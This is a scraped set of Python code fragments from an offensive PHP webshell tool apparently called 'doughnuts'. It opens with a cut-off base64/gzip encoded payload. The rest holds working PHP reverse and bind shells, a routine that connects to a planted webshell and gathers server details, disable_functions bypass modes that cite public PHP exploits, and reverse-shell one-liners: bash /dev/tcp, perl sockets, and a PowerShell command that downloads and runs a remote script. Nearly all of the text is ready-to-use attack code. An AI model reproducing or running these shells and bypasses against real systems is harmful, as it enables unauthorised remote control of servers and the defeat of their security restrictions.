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";
$evalCode = gzinflate(base64_decode($payload));
file_put_contents("%s", $evalCode);
%s""" % (filename, get_system_code(f"{filename} {ip} {port}", False))
    else:
        return """ignore_user_abort(true);
ini_set("max_execution_time",0);
$ipaddr = "%s";
$port = "%s";
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\\nTemporary shall\\n";
$type = True;
if(!in_array('proc_open', explode(',', ini_get('disable_functions')))){
    $sock = fsockopen($ipaddr, $port);
    $descriptorspec = array(
    0 => $sock,
    1 => $sock,
    2 => $sock
    );
    $process = proc_open('/bin/sh', $descriptorspec, $pipes);
    proc_close($process);
    die();
}
else{
    $env = array("path" => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin");
}


if(function_exists("fsockopen")) {
$sock = fsockopen($ipaddr,$port);
} else {
$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
socket_write($sock,$msg);
$type = False;
}
fwrite($sock,$msg);
fwrite($sock,"[".getcwd()."]$ ");

while (True) {
    if ($type == True){
        $cmd = fread($sock,1024);
    } else {
        $cmd = socket_read($sock,1024);
    }
    if (substr($cmd,0,3) == "cd " and strlen($cmd) > 3) {
        $cwd = trim(substr($cmd,3));
        chdir($cwd);
        $cwd = getcwd();
    }
    else if (trim(strtolower($cmd)) == "exit") {
        break;
    } else {
        $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
        if (is_resource($process)) {
            fwrite($pipes[0],$cmd);
            fclose($pipes[0]);
            $msg = stream_get_contents($pipes[1]);
            if ($type == True){
                fwrite($sock,$msg);
            } else {
                socket_write($sock,$msg,strlen($msg));
            }
            fclose($pipes[1]);
            $msg = stream_get_contents($pipes[2]);
            if ($type == True){
                fwrite($sock,$msg);
            } else {
                socket_write($sock,$msg,strlen($msg));
            }
            fclose($pipes[2]);
            proc_close($process);
        }
    }
    fwrite($sock,"[".getcwd()."]$ ");
}
if ($type == True){
    fclose($sock);
} else {socket_close($sock);
}""" % (ip, port)
Beispiel #20
0
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params):
    """
    connect

    Connect a webshell of php.

    eg: connect {url} {method} {pass} {encoders_or_params...}
    """
    method = str(method).upper()
    params_dict = {"headers": {}}
    if method == "GET":
        raw_key = "params"
    elif method == "POST":
        raw_key = "data"
    elif method == "COOKIE":
        raw_key = "cookies"
    elif method == "HEADER":
        raw_key = "headers"
    else:
        print(color.red("Method error"))
        return
    if (is_windows(False)):
        new_eop = []
        extra_params = []
        pass_next = False
        eop_len = len(encoders_or_params)
        for i in range(eop_len):  # 清洗数据,解决windows下a=b传成2个参数的错误
            v = str(encoders_or_params[i])
            if (pass_next):
                pass_next = False
                continue
            if (":" not in v):
                new_eop.append(str(v))
                continue
            if ("=" not in v and i < eop_len - 1):
                extra_params.append(v + "=" + str(encoders_or_params[i + 1]))
                pass_next = True
            else:
                extra_params.append(str(v))
        encoders_or_params = new_eop + extra_params
    extra_params = [f for f in encoders_or_params if ":" in str(f)]
    params_dict[raw_key] = {}
    for each in extra_params:
        k, data = each.split(":")
        if (k not in params_dict):
            params_dict[k] = {}
        params_dict[k].update(
            dict([(k, v[0]) for k, v in parse_qs(data).items()]))
    webshell_netloc = urlparse(url).netloc
    gset("webshell.url", url, namespace="webshell")
    gset("webshell.params_dict", params_dict, namespace="webshell")
    gset("webshell.password", str(pwd), namespace="webshell")
    gset("webshell.method", raw_key, namespace="webshell")
    gset("webshell.encode_functions", encoders_or_params, namespace="webshell")
    gset("webshell.netloc", webshell_netloc, namespace="webshell")
    gset(
        "webshell.download_path",
        path.join(gget("root_path"), "target",
                  webshell_netloc.replace(":", "_")),
        namespace="webshell",
    )
    gset("webshell.pwd", ".", namespace="webshell")
    gset("webshell.bypass_df", -1, namespace="webshell")
    res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");',
               raw=True)
    if (not res or "c4ca4238a0b923820d" not in res.r_text):
        print(color.red("Connect failed..."))
        if (res):
            print(res.r_text)
        return False
    if ('7.' in res.r_text):
        gset("webshell.v7", True, namespace="webshell")
    if "c4ca4238a0b923820d" in res.r_text:  # 验证是否成功连接
        gset("webshell.php_version",
             res.r_text.split("c4ca4238a0b923820d|")[1].split(
                 "|cc509a6f75849b")[0],
             namespace="webshell")
        info_req = send(
            """print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));"""
        )
        info = info_req.r_text.strip().split("|")
        exec_func = send(get_detectd_exec_php()).r_text.strip()
        prepare_system_template(exec_func)
        gset("webshell.root", info[0], namespace="webshell")
        gset("webshell.os_version", info[1], namespace="webshell")
        gset(
            "webshell.iswin",
            (True if "win" in info[1].lower() else False),
            namespace="webshell",
        )
        gset("webshell.server_version", info[2], namespace="webshell")
        gset("webshell.pwd", info[3], namespace="webshell")
        gset("webshell.prompt",
             f"doughnuts ({color.cyan(webshell_netloc)}) > ")
        gset("webshell.exec_func", exec_func, namespace="webshell")
        upload_tmp_dir = info[4]
        if (not upload_tmp_dir):
            if (not is_windows()):
                upload_tmp_dir = "/tmp/"
        else:
            if (is_windows()):
                upload_tmp_dir += "\\\\"
            else:
                upload_tmp_dir += "/"
        gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell")
        disable_function_list = [f.strip() for f in info[5].split(",")]
        if ('' in disable_function_list):
            disable_function_list.remove('')
        gset("webshell.obd", info[6], namespace="webshell")
        gset("webshell.disable_functions",
             disable_function_list,
             namespace="webshell")
        root_path = gget("root_path")
        from_log = gget("webshell.from_log", "webshell")
        if not from_log:
            extra = "|".join(
                encoders_or_params) + "|" if encoders_or_params else ""
            with open(path.join(root_path, "webshell.log"), "a+") as f:
                f.write(f"{url}|{method}|{pwd}|{extra}\n")
        else:
            gset("webshell.from_log", False, True, "webshell")
        print(color.cyan("Connect success...\n"))
        print_webshell_info()
        set_namespace("webshell", callback=False)
        if (exec_func == ''):
            print(color.red("No system execute function!\n"))
        return True
Beispiel #21
0
def run(mode: str = '0'):
    """
    bdf

    Try to bypass disable_functions by php7-backtrace-bypass.

    Mode -1 / Mode close:

        Close bdf

    Mode auto:

        Automatically filter and test all bdf modes

    Mode 0:

        Display the current bdf mode

    Mode 1 php7-backtrace(Only for php7.0-7.4 and *unix) :

        Origin:
        - https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

        Targets:
        - 7.0 - all versions to date
        - 7.1 - all versions to date
        - 7.2 - all versions to date
        - 7.3 < 7.3.15 (released 20 Feb 2020)
        - 7.4 < 7.4.3 (released 20 Feb 2020)

    Mode 2 php7-gc(Only for php7.0-7.3 and *unix) :

        Origin:
        - https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

        Targets:
        - 7.0 - all versions to date
        - 7.1 - all versions to date
        - 7.2 - all versions to date
        - 7.3 - all versions to date

    Mode 3 php7-json(Only for php7.1-7.3):

        Origin:
        - https://github.com/mm0r1/exploits/tree/master/php-json-bypass

        Targets:
        - 7.1 - all versions to date
        - 7.2 < 7.2.19 (released 30 May 2019)
        - 7.3 < 7.3.6 (released 30 May 2019)

    Mode 4 LD_PRELOAD(Only for *unix):

        Need:
        - putenv, mail/error_log/mb_send_mail/imap_email fucntions enabled

    Mode 5 FFI(Only for *unix and php >= 7.4):

        Author:
        - MorouU

        Need:
        - FFI extension

    Mode 6 COM(Only for windows):

        Need:
        - com_dotnet extension

    Mode 7 imap_open:

        Need:
        - imap extension

    """
    if (mode == "close"):
        mode = -1
    if (mode == "auto"):
        test_list = windows_test_list if is_windows() else linux_test_list
        php_version = gget("webshell.php_version", "webshell")
        if (not php_version.startswith("7.")):
            test_list -= {1, 2, 3}
        for test_mode in test_list:
            print(f"Try Mode {test_mode} {mode_to_desc_dict[test_mode]}:")
            if (set_mode(test_mode, True)):
                res = send(
                    get_system_code("echo 6ac2ed344113c07c0028327388553273",
                                    mode=test_mode))
                if (res and "6ac2ed344113c07c0028327388553273" in res.r_text):
                    print(color.green("\n    Success\n"))
                    print(
                        f"Set bypass disable_functions: {test_mode}-{mode_to_desc_dict[test_mode]}\n"
                    )
                    gset("webshell.bypass_df", test_mode, True, "webshell")
                    break
                else:
                    print(color.red("\n    Failed!\n"))
                    continue
    else:
        try:
            mode = int(mode)
        except ValueError:
            print(color.red("\nMode error.\n"))
            return
        if (mode == 0):
            print(
                f"\nbypass disable_functions: {mode_to_desc_dict[gget('webshell.bypass_df', 'webshell')]}\n"
            )
        elif (mode in mode_to_desc_dict
              and (mode not in mode_linux_set or not is_windows())):
            set_mode(mode)
            pass
        else:
            print(color.red("\nMode error.\n"))
Beispiel #22
0
cpath = path.split(path.realpath(__file__))[0]

from sys import path as pyfpath, executable, argv
pyfpath.append(cpath)

from libs.config import color
from libs.myapp import is_windows
from os import environ

pypath = executable
filename = "doughnuts"

if (len(argv) == 2 and argv[1] != ""):
    filename = argv[1]

if (not is_windows(False)):
    if ("/usr/local/bin" not in environ["PATH"]):
        print(color.red(f"please add /usr/local/bin to $PATH"))
        exit(1)
    fpath = "/usr/local/bin/" + filename
    print(color.green(f"Try to generate {fpath}"))
    with open(fpath, "w+") as f:
        f.write(f"#!/bin/sh\n{pypath} {cpath}/doughnuts.py $*")
    chmod(fpath, 0o755)
    if (path.exists(fpath)):
        print(color.green("generate success!"))
    else:
        print(color.red("generate error!"))
else:
    fpath = path.dirname(pypath) + "\\" + filename + ".bat"
    print(color.green(f"Try to generate {fpath}"))
Beispiel #23
0
def run(mode: str = '0'):
    """
    bdf

    Try to bypass disable_functions by php7-backtrace-bypass.

    Mode -1 / Mode close:

        Close bdf

    Mode auto:

        Automatically filter and test all bdf modes

    Mode 0:

        Display the current bdf mode

    Mode 1 php7-backtrace(Only for php7.0-7.4 and *unix) :

        Origin:
        - https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

        Targets:
        - 7.0 - all versions to date
        - 7.1 - all versions to date
        - 7.2 - all versions to date
        - 7.3 < 7.3.15 (released 20 Feb 2020)
        - 7.4 < 7.4.3 (released 20 Feb 2020)

    Mode 2 php7-gc(Only for php7.0-7.3 and *unix) :

        Origin:
        - https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

        Targets:
        - 7.0 - all versions to date
        - 7.1 - all versions to date
        - 7.2 - all versions to date
        - 7.3 - all versions to date

    Mode 3 php7-json(Only for php7.1-7.3):

        Origin:
        - https://github.com/mm0r1/exploits/tree/master/php-json-bypass

        Targets:
        - 7.1 - all versions to date
        - 7.2 < 7.2.19 (released 30 May 2019)
        - 7.3 < 7.3.6 (released 30 May 2019)

    Mode 4 LD_PRELOAD(Only for *unix):

        Need:
        - putenv, mail/error_log/mb_send_mail/imap_email fucntions

    Mode 5 FFI(Only for *unix and php >= 7.4):

        Author:
        - MorouU

        Need:
        - FFI extension

    Mode 6 COM(Only for windows):

        Need:
        - com_dotnet extension

    Mode 7 imap_open:

        Need:
        - imap extension

    Mode 8 MYSQL-UDF:

        Need:
        - db_init
        - mysql >= 5.1

    Mode 9 php7-splDoublyLinkedList:

        Origin:
        - https://www.freebuf.com/vuls/251017.html

        Targets:
        - 7.1 - all versions to date
        - 7.2 - all versions to date
        - 7.3 - all versions to date
        - 7.4 < 7.4.11

    Mode 10 php-fpm

        Origin:
        - https://xz.aliyun.com/t/5598

        Need:
        - php-fpm
          - gopher: curl extension, fpm can access by http
          - sock: stream_socket_client function, fpm can access by sock
          - http_sock: fsockopen / pfsockopen function, fpm can access by http

    Mode 11 apache-mod-cgi
        Origin:
        - https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/exp/apache_mod_cgi/exp.php

        Need:
        - apache_mod_cgi
        - allow .htaccess
    
    Mode 12 iconv
        Origin:
        - https://xz.aliyun.com/t/8669

        Need:
        - iconv extension
        - putenv  fucntions
    """
    if (mode == "close"):
        mode = -1
    if (mode == "auto"):
        test_list = windows_test_list if is_windows() else linux_test_list
        php_version = gget("webshell.php_version", "webshell")
        if (not php_version.startswith("7.")):
            test_list -= {1, 2, 3, 9}
        if (not gget("db_connected", "webshell")
                or gget("db_dbms", "webshell") != "mysql"):
            test_list -= {8}
        for test_mode in test_list:
            print(f"Try Mode {test_mode} {mode_to_desc_dict[test_mode]}:")
            if (set_mode(test_mode, True)):
                res = send(
                    get_system_code("echo 6ac2ed344113c07c0028327388553273",
                                    mode=test_mode))
                if (res and "6ac2ed344113c07c0028327388553273" in res.r_text):
                    print(color.green("\n    Success\n"))
                    print(
                        f"Set bypass disable_functions: {test_mode}-{mode_to_desc_dict[test_mode]}\n"
                    )
                    gset("webshell.bypass_df", test_mode, True, "webshell")
                    break
                else:
                    print(color.red("\n    Failed!\n"))
                    continue
    else:
        try:
            mode = int(mode)
        except ValueError:
            print(color.red("\nMode error\n"))
            return
        if (mode == 0):
            print(
                f"\nbypass disable_functions: {mode_to_desc_dict[gget('webshell.bypass_df', 'webshell')]}\n"
            )
        elif (mode in mode_to_desc_dict
              and (mode not in mode_linux_set or not is_windows())):
            set_mode(mode)
            pass
        else:
            print(color.red("\nMode error\n"))
Beispiel #24
0
def run(ip: str, port: str, reverse_type: str = "php"):
    """
    reverse

    reverse shell to a host from target system.

    eg: reverse {ip} {port} {type=php}

    reverse_type:
      - bash
      - php
      - python
      - powershell(ps)
      - perl (only for *unix)
    """
    reverse_type = str(reverse_type).lower()
    upload_tmp_dir = gget("webshell.upload_tmp_dir", "webshell")
    if reverse_type == "bash":
        if (is_windows()):
            print(color.red("Target system is windows"))
            return
        command = f"""bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'"""
        t = Thread(target=send, args=(get_system_code(command),))
        t.setDaemon(True)
        t.start()
    elif reverse_type == "php":
        php = get_reverse_php(ip, port, upload_tmp_dir)
        t = Thread(target=send, args=(php,))
        t.setDaemon(True)
        t.start()
        if (is_windows()):
            t2 = Thread(target=delay_send, args=(
                10.0, f"unlink('{upload_tmp_dir}\\\\services.exe');",))
            t2.setDaemon(True)
            t2.start()
    elif reverse_type in ("powershell", "ps"):
        command = '''IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress %s -port %s''' % (ip, port)
        command = f"powershell -nop -ep bypass -encodedcommand {base64_encode(command, encoding='utf-16le')}"
        t = Thread(target=send, args=(get_system_code(command),))
        t.setDaemon(True)
        t.start()
    elif reverse_type == "perl":
        if (is_windows()):
            print(color.red("Target system is windows"))
            return
        command = """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % (
            ip, port)
        t = Thread(target=send, args=(get_system_code(command),))
        t.setDaemon(True)
        t.start()
    elif reverse_type == "python":
        if has_env("python"):
            t = Thread(target=send, args=(get_system_code(get_reverse_python(ip, port), False),))
            t.setDaemon(True)
            t.start()
        else:
            print(
                color.red(
                    "The target host does not exist or cannot be found in the python environment."
                )
            )
            return
    else:
        print(color.red("Reverse type Error."))
        return
    sleep(1)
    if (t.isAlive()):
        print(f"\nReverse shell to {ip}:{port} {color.green('success')}.\n")
    else:
        print(f"\nReverse shell {color.red('error')}.\n")
Beispiel #25
0
def get_php(port, passwd):
    if (is_windows()):
        return """$pass="******";
$port=%s;
@error_reporting(0);
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
$sQUf=@ini_get('disable_functions');
if(!empty($sQUf)){
  $sQUf=preg_replace('/[, ]+/', ',', $sQUf);
  $sQUf=explode(',', $sQUf);
  $sQUf=array_map('trim', $sQUf);
}else{
  $sQUf=array();
}
$scl='socket_create_listen';
if(is_callable($scl)&&!in_array($scl,$sQUf)){
  $sock=@$scl($port);
}else{
  $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  $ret=@socket_bind($sock,0,$port);
  $ret=@socket_listen($sock,5);
}
while (1){
$msgsock=@socket_accept($sock);
$o="password:>";
@socket_write($msgsock,$o,strlen($o));
$pwd=@socket_read($msgsock,2048,PHP_NORMAL_READ);
if (trim($pwd) === $pass){
$o="password correct\\n";
@socket_write($msgsock,$o,strlen($o));
while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
  {
    $o = '';
    $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
    if(FALSE===$c){break;}
    $c=trim($c);
    if(substr($c,0,3) == 'cd '){
      chdir(substr($c,3));
    } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
      break;
    }else{
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
      $c=$c." 2>&1\\n";
    }
    $NeYd='is_callable';
    $BDpSjt='in_array';
    if($NeYd('passthru')and!$BDpSjt('passthru',$sQUf)){
      ob_start();
      passthru($c);
      $o=ob_get_contents();
      ob_end_clean();
    }else
    if($NeYd('exec')and!$BDpSjt('exec',$sQUf)){
      $o=array();
      exec($c,$o);
      $o=join(chr(10),$o).chr(10);
    }else
    if($NeYd('system')and!$BDpSjt('system',$sQUf)){
      ob_start();
      system($c);
      $o=ob_get_contents();
      ob_end_clean();
    }else
    if($NeYd('proc_open')and!$BDpSjt('proc_open',$sQUf)){
      $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
      $o=NULL;
      while(!feof($pipes[1])){
        $o.=fread($pipes[1],1024);
      }
      @proc_close($handle);
    }else
    if($NeYd('shell_exec')and!$BDpSjt('shell_exec',$sQUf)){
      $o=shell_exec($c);
    }else
    if($NeYd('popen')and!$BDpSjt('popen',$sQUf)){
      $fp=popen($c,'r');
      $o=NULL;
      if(is_resource($fp)){
        while(!feof($fp)){
          $o.=fread($fp,1024);
        }
      }
      @pclose($fp);
    }else
    { $o=0;}
    }
    @socket_write($msgsock,$o,strlen($o));
  }
}else {
  $o="password error";
  @socket_write($msgsock,$o,strlen($o));
}
@socket_close($msgsock);
}""" % (passwd, port)
    else:
        return """$pass="******";
$port="%s";
$socket = stream_socket_server('tcp://0.0.0.0:'.$port, $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN);
if ($socket === false) {
    echo "Bind error";
    die(1);
}
$processes = array();
while (1) {
    $current = @stream_socket_accept($socket, 5, $host);
    if ($current !== false) {
        stream_socket_sendto($current, "password:>");
        $pwd = trim(stream_get_contents($current, strlen($pass)+1));
        if ($pwd === $pass){
            $io = array(
                0 => $current,
                1 => $current,
                2 => $current
                );
            stream_socket_sendto($current, "password correct\\n");
            $proc = proc_open('unset HISTFILE;date;uname -a;bash -i', $io, $pipes);
            $processes[] = array($current, $proc);
        }
        else{
            stream_socket_sendto($current, "password error");
            fflush($current);
            fclose($current);
        }
    }
    foreach ($processes as $k=>$v) {
        $status = proc_get_status($v[1]);
        if (false === $status['running']) {
            fflush($v[0]);
            fclose($v[0]);
            proc_close($v[1]);
            unset($processes[$k]);
        }
    }
}""" % (passwd, port)
Beispiel #26
0
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params):
    """
    connect

    Connect a webshell of php.

    eg: connect {url} {method} {pass} {encoders_or_params...}
    """
    method = str(method).upper()
    params_dict = {"headers": {}}
    if method == "GET":
        raw_key = "params"
    elif method == "POST":
        raw_key = "data"
    elif method == "COOKIE":
        raw_key = "cookies"
    elif method == "HEADER":
        raw_key = "headers"
    else:
        print(color.red("Method error"))
        return
    if (is_windows(False)):
        new_eop = []
        extra_params = []
        pass_next = False
        eop_len = len(encoders_or_params)
        for i in range(eop_len):  # 清洗数据,解决windows下a=b传成2个参数的错误
            v = str(encoders_or_params[i])
            if (pass_next):
                pass_next = False
                continue
            if (":" not in v):
                new_eop.append(str(v))
            elif (i < eop_len - 1):
                extra_params.append(v + "=" + str(encoders_or_params[i+1]))
                pass_next = True
        encoders_or_params = new_eop
    extra_params = [f for f in encoders_or_params if "=" in str(f)]
    params_dict[raw_key] = {}
    for each in extra_params:
        if(":" in each):
            k, data = each.split(":")
            if (k not in params_dict):
                params_dict[k] = {}
            params_dict[k].update(dict([(k, value_translation(v[0]))
                                        for k, v in parse_qs(data).items()]))
        else:
            k, data = each.split("=")
            if (k not in params_dict):
                params_dict[k] = {}
            if (k == "auth"):
                params_dict[k] = value_translation(data)
    webshell_netloc = urlparse(url).netloc
    gset("webshell.url", url, namespace="webshell")
    gset("webshell.params_dict", params_dict, namespace="webshell")
    gset("webshell.password", str(pwd), namespace="webshell")
    gset("webshell.method", raw_key, namespace="webshell")
    gset("webshell.encode_functions", encoders_or_params, namespace="webshell")
    gset("webshell.netloc", webshell_netloc, namespace="webshell")
    gset(
        "webshell.download_path",
        path.join(gget("root_path"), "target",
                  webshell_netloc.replace(":", "_")),
        namespace="webshell",
    )
    gset("webshell.pwd", ".", namespace="webshell")
    gset("webshell.bypass_df", -1, namespace="webshell")
    version_flag_start = randstr(
        string=ascii_letters + digits, offset=randint(32, 62))
    version_flag_end = randstr(
        string=ascii_letters + digits, offset=randint(32, 62))
    res = send(
        'print("' + version_flag_start + '|".phpversion()."|' + version_flag_end + '");', raw=True)
    if (not res or version_flag_start not in res.r_text):
        print(color.red("Connect failed..."))
        if (res):
            print(res.r_text)
        return False
    if ('7.' in res.r_text):
        gset("webshell.v7", True, namespace="webshell")
    if version_flag_start in res.r_text:  # 验证是否成功连接
        gset("webshell.php_version", res.r_text.split(version_flag_start + "|")[
             1].split("|" + version_flag_end)[0], namespace="webshell")
        info_req = send(
            """$bit=PHP_INT_SIZE==4?32:64;
print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.sys_get_temp_dir().'|'.ini_get('disable_functions').'|'.ini_get('open_basedir').'|'.$bit.'|'.DIRECTORY_SEPARATOR);"""
        )
        info = info_req.r_text.strip().split("|")
        exec_func = send(get_detectd_exec_php()).r_text.strip()
        prepare_system_template(exec_func)
        gset("webshell.root", info[0], namespace="webshell")
        gset(
            "webshell.iswin",
            (True if "win" in info[1].lower() else False),
            namespace="webshell",
        )
        gset("webshell.server_version", info[2], namespace="webshell")
        gset("webshell.pwd", info[3], namespace="webshell")
        gset("webshell.prompt",
             f"doughnuts ({color.cyan(webshell_netloc)}) > ")
        gset("webshell.exec_func", exec_func, namespace="webshell")
        upload_tmp_dir = info[4]
        if (not upload_tmp_dir):
            if (not is_windows()):
                upload_tmp_dir = "/tmp/"
        else:
            if (is_windows()):
                upload_tmp_dir += "\\\\"
            else:
                upload_tmp_dir += "/"
        gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell")
        disable_function_list = [f.strip() for f in info[5].split(",")]
        if ('' in disable_function_list):
            disable_function_list.remove('')
        gset("webshell.obd", info[6], namespace="webshell")
        bits = info[7]
        try:
            bits = int(bits)
        except ValueError:
            bits = 0
            print(color.yellow("detect architecture error\n"))
        gset("webshell.os_version", info[1] + " (%d bits)" % bits, namespace="webshell")
        gset("webshell.arch", bits, namespace="webshell")
